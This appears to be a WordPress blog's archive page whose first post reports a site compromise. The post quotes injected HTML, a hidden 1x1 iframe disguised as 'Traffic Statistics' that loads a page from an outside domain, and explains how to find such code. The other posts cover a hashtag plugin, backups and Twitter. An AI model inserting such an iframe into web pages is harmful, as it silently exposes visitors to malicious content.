From the category archives:

blogging

two of my old posts at my geekblog Haibane.info dating from November 2007 had some injected HTML code in them. The injected code read as follows:

<!-- Traffic Statistics --> <iframe src=http://www.wp-stats-php.info/iframe/wp-stats.php width=1 height=1 frameborder=0></iframe> <!-- End Traffic Statistics -->

I only became aware of it when Google flagged my archives for that month as “malicious”. Viewing source of the archives page revealed the hack – probably from some window of time in which I hadnt upgraded to the latest wordpress version.

To ensure you don’t have old posts in your archives with this exploit, just search your posts for the term “iframe”. Edit those posts and you’ll likely as not find similar code to above.

Wordpress has come a long way in making upgrades easier with one click (though some people still run into problems on occasion). I think it would be better is WP had a incremental and automated upgrade process whereby whenever a security-related update was available, you could have it automatically install, just like you can set in Windows. Ideally, this would be controlled by a setting in the Dashboard to “turn on/off automatic security patches” and when enabled, would “register” your blog with the mothership at wordpress.org so that whenever a security patch is available, you get an automatic email to your admin email account notifying you, and when you next login to Dashboard the patch is automatically applied.

{ 1 comment }

Tags to Hashtags

by Aziz Poonawalla on August 21, 2009

I’ve written a new plugin for wordpress entitled “AHP Tags to Hashtags” for use with Wordpress and Wordpress MU. The plugin can be found for now at pastebin here, I will update when it’s been added to the official wordpress plugin repository.

The plugin appends the tags for each post to the post title in the RSS feed. For example, for a post titled “Awesome post” which is tagged with “Amazing, Awesome, Super awesome”, the RSS feed will show the post titles as “Awesome post #Amazing #Awesome #Superawesome”. Note that spaces in a tag are removed, and hash symbols (#) are prepended to each.

This plugin is useful primarily to bloggers who pipe their posts into Twitter. The post tags become Twitter hashtags. Since post tags and twitter hashtags are both a form of metadata, it is natural to simply and automatically reuse the one for the other.

Consider a blog post on the Iran election. Normally youd tag the post Iran and then when you tweet it, youd have to manually insert the twitter hashtag #iranelection. Now, you can simply tag the post iranelection (no # symbol) and it will automatically be hashtagged. Combined with a service like Twitterfeed, this plugin can greatly automate the process of piping relevant posts into the twitterverse.

Note that the plugin makes no attempt to check that the total length of the post title, including hashtags, falls within the 140-character limit imposed by Twitter.

At present the plugin has no options. The feature roadmap includes the following:
- add title character length checking
- toggle using tags or categories for conversion to hashtags
- let user decide whether to remove spaces in tags, or convert to underlines or other character

this is a pretty simple plugin so other feature requests are appreciated.

UPDATE: version 2.0 of the plugin is at pastebin here. This version no longer appends all tags, but only those already beginning with #. This way the blogger can selectively choose which tags they want converted into hashtags.

{ 1 comment }

backups should be local, not to the cloud

August 12, 2009

One of the lessons of Friendfeed’s buyout by Facebook is that the cloud is not a good place for backup. In an era of the sub-$100 terabyte, the idea that the best place for our data should be anywhere other than right at home is a strange one. Cloud backup is useful as a meta-backup [...]

Read the full article →

One Million Strong for @aplusk

April 17, 2009

Ashton Kutcher has done it – he has amassed one million followers. He’s using this publicity to donate mosquito nets to African children, but that’s just scratching the surface of what is possible.
Use your imagination.. what could he do, with his combination of celebrity and follower clout?
- he could raise money for a [...]

Read the full article →

The End of Twitter: You can stop tweeting now

March 20, 2009

This is the Final Tweet to End All Tweets.

Twitter is Over. This is Twitter’s End. There are No More Tweets.
(inspired by the eoti)

Read the full article →

the WhiteHouse.gov blog: open government

January 21, 2009

Among the inaugural festivities, the official web site of the White House underwent a transition of its own. The site is now built around a central blog, which is a presidential first and a definite sign of the times. The first post lays out the purpose of the blog in detail:
Just like your new government, [...]

Read the full article →

Backing up your tweets

November 12, 2008

Twitter: over one billion tweets served. Actually, it’s probably more than that, since the count is from GigaTweet, an external service and not an official count. If we do the math, that comes out to:
140 chars per tweet x 1 byte per char x 10^9 tweets = 140 billion bytes = 130.4 GB worth of [...]

Read the full article →

TwiTip

November 3, 2008

Darren Rowse of ProBlogger fame has launched a new blog, TwiTip, aimed at introducing Twitter to new users. Darren always has an interesting and insightful take on blogging and so I think his insights will be worth reading even if you’re a veteran twitter user. Given how much I blog about twitter I can fully [...]

Read the full article →

AHP Sitewide Recent Posts plugin for Wordpress MU

September 17, 2008

Building on the venerable Recent Posts plugin by Ron and Andrea, I have created an extended version that offers a lot more user control over output, including gravatar support. The basic features are:

excludes posts on main blog (blog ID = 1)
excludes first posts (Hello, world) on user blogs (post ID = 1)
option to show gravatar [...]

Read the full article →

RSS-based comment moderation?

August 1, 2008

I just left the following ticket on Wordpress Trac, as a feature request:
RSS feeds are already generated for posts and comments by default. What would be very helpful woudl be a dedicated RSS feed for comments in the moderation queue. This would permit efficient queue processing without having to log into the Dashboard.
For added [...]

Read the full article →